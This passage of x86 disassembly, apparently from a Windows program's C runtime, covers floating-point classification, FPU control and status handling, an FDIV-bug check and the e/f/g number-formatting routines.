XREF: sub_41F150+3Fp ; sub_41F370+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_4293F9 cmp [ebp+arg_0], 0 jnz short loc_4293F9 mov eax, 1 jmp short loc_42945A ; --------------------------------------------------------------------------- loc_4293F9: ; CODE XREF: sub_4293E0+Aj ; sub_4293E0+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_42940F cmp [ebp+arg_0], 0 jnz short loc_42940F mov eax, 2 jmp short loc_42945A ; --------------------------------------------------------------------------- loc_42940F: ; CODE XREF: sub_4293E0+20j ; sub_4293E0+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_42942A mov eax, 3 jmp short loc_42945A ; --------------------------------------------------------------------------- loc_42942A: ; CODE XREF: sub_4293E0+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_429458 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_429451 cmp [ebp+arg_0], 0 jz short loc_429458 loc_429451: ; CODE XREF: sub_4293E0+69j mov eax, 4 jmp short loc_42945A ; --------------------------------------------------------------------------- loc_429458: ; CODE XREF: sub_4293E0+5Fj ; sub_4293E0+6Fj xor eax, eax loc_42945A: ; CODE XREF: sub_4293E0+17j ; sub_4293E0+2Dj ... pop ebp retn sub_4293E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_429460(double, int) sub_429460 proc near ; CODE XREF: sub_428DD0+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp ds:dbl_43A188 fnstsw ax test ah, 40h jz short loc_429490 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_42958A ; --------------------------------------------------------------------------- loc_429490: ; CODE XREF: sub_429460+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_429559 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_4294B9 cmp dword ptr [ebp+arg_0], 0 jz loc_429559 loc_4294B9: ; CODE XREF: sub_429460+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp ds:dbl_43A188 fnstsw ax test ah, 1 jz short loc_4294D9 mov [ebp+var_14], 1 jmp short loc_4294E0 ; --------------------------------------------------------------------------- loc_4294D9: ; CODE XREF: sub_429460+6Ej mov [ebp+var_14], 0 loc_4294E0: ; CODE XREF: sub_429460+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_4294E6: ; CODE XREF: sub_429460+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_429525 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_429512 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_429512: ; CODE XREF: sub_429460+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_4294E6 ; --------------------------------------------------------------------------- loc_429525: ; CODE XREF: sub_429460+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_429542 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_429542: ; CODE XREF: sub_429460+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_4292F0 add esp, 0Ch fstp [ebp+var_C] jmp short loc_42958A ; --------------------------------------------------------------------------- loc_429559: ; CODE XREF: sub_429460+3Fj ; sub_429460+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_4292F0 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_42958A: ; CODE XREF: sub_429460+2Bj ; sub_429460+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_429460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4295A0 proc near ; CODE XREF: sub_428900+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4295A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4295C0 proc near ; CODE XREF: sub_428900+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4295C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4295E0 proc near ; CODE XREF: sub_41F150+11p ; sub_41F150+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4295E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429620 proc near ; CODE XREF: sub_428DD0+25p ; sub_428DD0+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42963D fld ds:tbyte_4503E0 fistp [ebp+var_C] wait loc_42963D: ; CODE XREF: sub_429620+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_429657 fstsw ax fld ds:tbyte_4503E0 fstp [ebp+var_8] wait fstsw ax loc_429657: ; CODE XREF: sub_429620+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_42966B fld ds:tbyte_4503EC fstp [ebp+var_8] wait loc_42966B: ; CODE XREF: sub_429620+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_42967E fldz fld1 fdivrp st(1), st fstp st wait loc_42967E: ; CODE XREF: sub_429620+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_42968E fldpi fstp [ebp+var_8] wait loc_42968E: ; CODE XREF: sub_429620+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4296A0 proc near ; CODE XREF: sub_41F290+15p ; seg000:0042F795p push ebp mov ebp, esp push 30000h push 10000h call sub_42F760 add esp, 8 pop ebp retn sub_4296A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4296C0 proc near ; CODE XREF: sub_429720:loc_429759p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp ds:dbl_439CE8 fnstsw ax test ah, 41h jnz short loc_42970D mov [ebp+var_1C], 1 jmp short loc_429714 ; --------------------------------------------------------------------------- loc_42970D: ; CODE XREF: sub_4296C0+42j mov [ebp+var_1C], 0 loc_429714: ; CODE XREF: sub_4296C0+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4296C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429720 proc near ; CODE XREF: sub_41F290+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" call near ptr 3D0000h in al, 89h ; DMA page register 74LS612: ; Channel 6 (address bits 17-23) inc ebp cld cmp [ebp+var_4], 0 jz short loc_429759 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax call ds:dword_4F1314 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_429759 push 0 call [ebp+var_8] jmp short loc_42975E ; --------------------------------------------------------------------------- loc_429759: ; CODE XREF: sub_429720+18j ; sub_429720+30j call sub_4296C0 loc_42975E: ; CODE XREF: sub_429720+37j mov esp, ebp pop ebp retn sub_429720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429770 proc near ; DATA XREF: sub_41F2D0+21o var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_420960 add esp, 4 cmp eax, 65h jz short loc_4297D0 loc_42978A: ; CODE XREF: sub_429770+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp ds:dword_44FD20, 1 jle short loc_4297B2 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_423D90 add esp, 8 mov [ebp+var_C], eax jmp short loc_4297CA ; --------------------------------------------------------------------------- loc_4297B2: ; CODE XREF: sub_429770+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_4297CA: ; CODE XREF: sub_429770+40j cmp [ebp+var_C], 0 jnz short loc_42978A loc_4297D0: ; CODE XREF: sub_429770+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, ds:byte_44FD24 mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4297EB: ; CODE XREF: sub_429770+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_4297EB mov esp, ebp pop ebp retn sub_429770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429820 proc near ; DATA XREF: sub_41F2D0+Do var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_429824: ; CODE XREF: sub_429820+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42984A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, ds:byte_44FD24 cmp eax, ecx jz short loc_42984A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_429824 ; --------------------------------------------------------------------------- loc_42984A: ; CODE XREF: sub_429820+Cj ; sub_429820+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_4298F3 loc_429861: ; CODE XREF: sub_429820+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42988C mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_42988C mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_42988C mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_429861 ; --------------------------------------------------------------------------- loc_42988C: ; CODE XREF: sub_429820+49j ; sub_429820+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_42989B: ; CODE XREF: sub_429820+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_4298B1 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_42989B ; --------------------------------------------------------------------------- loc_4298B1: ; CODE XREF: sub_429820+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, ds:byte_44FD24 cmp ecx, edx jnz short loc_4298CB mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_4298CB: ; CODE XREF: sub_429820+A0j ; sub_429820+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_4298F3 jmp short loc_4298CB ; --------------------------------------------------------------------------- loc_4298F3: ; CODE XREF: sub_429820+3Bj ; sub_429820+CFj mov esp, ebp pop ebp retn sub_429820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429900 proc near ; DATA XREF: sub_41F2D0+2Bo var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp ds:dbl_43A188 fnstsw ax test ah, 1 jnz short loc_42991F mov [ebp+var_4], 1 jmp short loc_429926 ; --------------------------------------------------------------------------- loc_42991F: ; CODE XREF: sub_429900+14j mov [ebp+var_4], 0 loc_429926: ; CODE XREF: sub_429900+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_429900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429930 proc near ; DATA XREF: sub_41F2D0+17o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42995C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_430290 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_429974 ; --------------------------------------------------------------------------- loc_42995C: ; CODE XREF: sub_429930+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_430310 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_429974: ; CODE XREF: sub_429930+2Aj mov esp, ebp pop ebp retn sub_429930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429980 proc near ; CODE XREF: sub_429E10+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_430450 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_430350 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_429A00 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_429980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A00 proc near ; CODE XREF: sub_429980+67p ; sub_429D20+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_429A37 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_429E70 add esp, 8 loc_429A37: ; CODE XREF: sub_429A00+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_429A54 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429A54: ; CODE XREF: sub_429A00+43j cmp [ebp+arg_4], 0 jle short loc_429A78 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, ds:byte_44FD24 mov [edx], al loc_429A78: ; CODE XREF: sub_429A00+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_41E550 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_429AA6 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_429AA6: ; CODE XREF: sub_429A00+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_429B5F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_429AE1 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_429AE1: ; CODE XREF: sub_429A00+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_429B15 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_429B15: ; CODE XREF: sub_429A00+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_429B49 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_429B49: ; CODE XREF: sub_429A00+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_429B5F: ; CODE XREF: sub_429A00+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_429A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B70 proc near ; CODE XREF: sub_429E10+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_430450 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_430350 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_429BE0 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_429B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BE0 proc near ; CODE XREF: sub_429B70+5Bp ; sub_429D20+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_429C33 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_429C33 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_429C33: ; CODE XREF: sub_429BE0+18j ; sub_429BE0+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_429C50 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_429C50: ; CODE XREF: sub_429BE0+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_429C78 push 1 mov ecx, [ebp+var_4] push ecx call sub_429E70 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_429C84 ; --------------------------------------------------------------------------- loc_429C78: ; CODE XREF: sub_429BE0+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_429C84: ; CODE XREF: sub_429BE0+96j cmp [ebp+arg_4], 0 jle loc_429D16 push 1 mov eax, [ebp+var_4] push eax call sub_429E70 add esp, 8 mov ecx, [ebp+var_4] mov dl, ds:byte_44FD24 mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_429D16 movsx edx, [ebp+arg_C] test edx, edx jz short loc_429CCE mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_429CF4 ; --------------------------------------------------------------------------- loc_429CCE: ; CODE XREF: sub_429BE0+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_429CE3 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_429CEE ; --------------------------------------------------------------------------- loc_429CE3: ; CODE XREF: sub_429BE0+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_429CEE: ; CODE XREF: sub_429BE0+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_429CF4: ; CODE XREF: sub_429BE0+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_429E70 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_41D100 add esp, 0Ch loc_429D16: ; CODE XREF: sub_429BE0+A8j ; sub_429BE0+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_429BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D20 proc near ; CODE XREF: sub_429E10+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_430450 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_430350 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_429DAB mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_429DC7 loc_429DAB: ; CODE XREF: sub_429D20+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_429A00 add esp, 14h jmp short loc_429E01 ; --------------------------------------------------------------------------- loc_429DC7: ; CODE XREF: sub_429D20+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_429DEB loc_429DCF: ; CODE XREF: sub_429D20+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_429DE4 jmp short loc_429DCF ; --------------------------------------------------------------------------- loc_429DE4: ; CODE XREF: sub_429D20+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_429DEB: ; CODE XREF: sub_429D20+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_429BE0 add esp, 10h loc_429E01: ; CODE XREF: sub_429D20+A5j mov esp, ebp pop ebp retn sub_429D20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E10 proc near ; DATA XREF: sub_41F2D0+3o ; sub_41F2D0+35o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_429E1F cmp [ebp+arg_8], 45h jnz short loc_429E39 loc_429E1F: ; CODE XREF: sub_429E10+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_429980 add esp, 10h jmp short loc_429E6D ; --------------------------------------------------------------------------- loc_429E39: ; CODE XREF: sub_429E10+Dj cmp [ebp+arg_8], 66h jnz short loc_429E55 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_429B70 add esp, 0Ch jmp short loc_429E6D ; --------------------------------------------------------------------------- loc_429E55: ; CODE XREF: sub_429E10+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_429D20 add esp, 10h loc_429E6D: ; CODE XREF: sub_429E10+27j ; sub_429E10+43j pop ebp retn sub_429E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E70 proc near ; CODE XREF: sub_429A00+2Fp ; 